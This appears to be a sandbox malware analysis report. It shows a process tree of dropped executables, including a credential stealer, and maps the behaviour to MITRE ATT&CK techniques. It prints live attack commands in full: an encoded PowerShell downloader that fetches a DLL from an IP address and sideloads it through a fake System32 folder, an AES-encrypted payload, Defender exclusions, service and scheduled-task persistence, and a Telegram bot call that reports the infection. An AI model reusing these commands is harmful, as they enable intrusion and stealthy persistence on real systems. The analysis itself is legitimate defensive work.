        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1436
  - - C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
      "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2296
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:264
      - C:\Users\Admin\AppData\Roaming\bytHYVJVr6.exe
        
        "C:\Users\Admin\AppData\Roaming\bytHYVJVr6.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
      - C:\Users\Admin\AppData\Roaming\hI2FUvPN9c.exe
        
        "C:\Users\Admin\AppData\Roaming\hI2FUvPN9c.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4800
  - - C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
      "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3780
  - - C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe
      "C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:4408
    - - C:\Users\Admin\AppData\Local\Temp\service123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\service123.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3104
  - - C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2588
    - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4900
  - - C:\Users\Admin\AppData\Local\Temp\1000228001\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\1000228001\Setup.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:2436
  - - C:\Users\Admin\1000238002\Amadeus.exe
      "C:\Users\Admin\1000238002\Amadeus.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:664
    - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2652
  - - C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe
      "C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3564
  - - C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe
      "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4300
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:3348
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1184
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
        5⤵
        
        PID:2540
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\1000250001\pyl64.exe
      "C:\Users\Admin\AppData\Local\Temp\1000250001\pyl64.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3592
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9')); Invoke-Expression $decoded;"
  2⤵
  PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9')); Invoke-Expression $decoded;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4472
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c mkdir "\\?\C:\Windows \System32"
      4⤵
      PID:4644
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c xcopy /y C:\Windows\System32\printui.exe "C:\Windows \System32"
      4⤵
      PID:1116
    - - C:\Windows\system32\xcopy.exe
        
        xcopy /y C:\Windows\System32\printui.exe "C:\Windows \System32"
        5⤵
        
        PID:4464
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c move /y C:\Users\Public\pyld.dll "C:\Windows \System32\printui.dll"
      4⤵
      PID:5060
  - - C:\Windows \System32\printui.exe
      "C:\Windows \System32\printui.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      PID:3696
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;"
        5⤵
        
        PID:2772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\usvc.exe"
        5⤵
        
        PID:1576
      - C:\Windows\System32\usvc.exe
        
        "C:\Windows\System32\usvc.exe"
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:2060
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
        7⤵
        
        PID:5112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c sc create x607444 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x607444\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x607444.dat" /f && sc start x607444
        7⤵
        
        PID:3540
        
        C:\Windows\system32\sc.exe
        
        sc create x607444 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
        8⤵
        Launches sc.exe
        
        PID:624
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\services\x607444\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x607444.dat" /f
        8⤵
        Server Software Component: Terminal Services DLL
        Modifies registry key
        
        PID:4392
        
        C:\Windows\system32\sc.exe
        
        sc start x607444
        8⤵
        Launches sc.exe
        
        PID:4480
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
        7⤵
        
        PID:1776
        
        C:\Windows\System32\console_zero.exe
        
        "C:\Windows\System32\console_zero.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2364
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /delete /tn "console_zero" /f
        9⤵
        Indicator Removal: Clear Persistence
        
        PID:5104
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "console_zero" /f
        10⤵
        
        PID:1976
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        9⤵
        
        PID:5004
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4224
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c powershell -Command "Invoke-RestMethod -Uri https://api.telegram.org/bot7170879715:AAGG1917SpGSHmE0vBzZE2U5dWvvrWIzd8g/sendMessage -Method Post -ContentType 'application/json' -Body (ConvertTo-Json @{chat_id=1536131459; text='[+] Admin@ODZKDRGV: Service installed success'});"
        7⤵
        
        PID:4228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-RestMethod -Uri https://api.telegram.org/bot7170879715:AAGG1917SpGSHmE0vBzZE2U5dWvvrWIzd8g/sendMessage -Method Post -ContentType 'application/json' -Body (ConvertTo-Json @{chat_id=1536131459; text='[+] Admin@ODZKDRGV: Service installed success'});"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c timeout /t 10 /nobreak && del /s /q "C:\Windows\System32\usvc.exe"
        7⤵
        
        PID:2316
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:872
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \"
        7⤵
        
        PID:3564
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:2264

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:4044

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4844

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:4012

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3284

C:\Users\Admin\Pictures\Lighter Tech\runtime.exe
"C:\Users\Admin\Pictures\Lighter Tech\runtime.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:540
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
  2⤵
  PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k DcomLaunch
1⤵
- Loads dropped DLL
PID:2004

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5000

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:4120

C:\Users\Admin\Pictures\Lighter Tech\runtime.exe
"C:\Users\Admin\Pictures\Lighter Tech\runtime.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion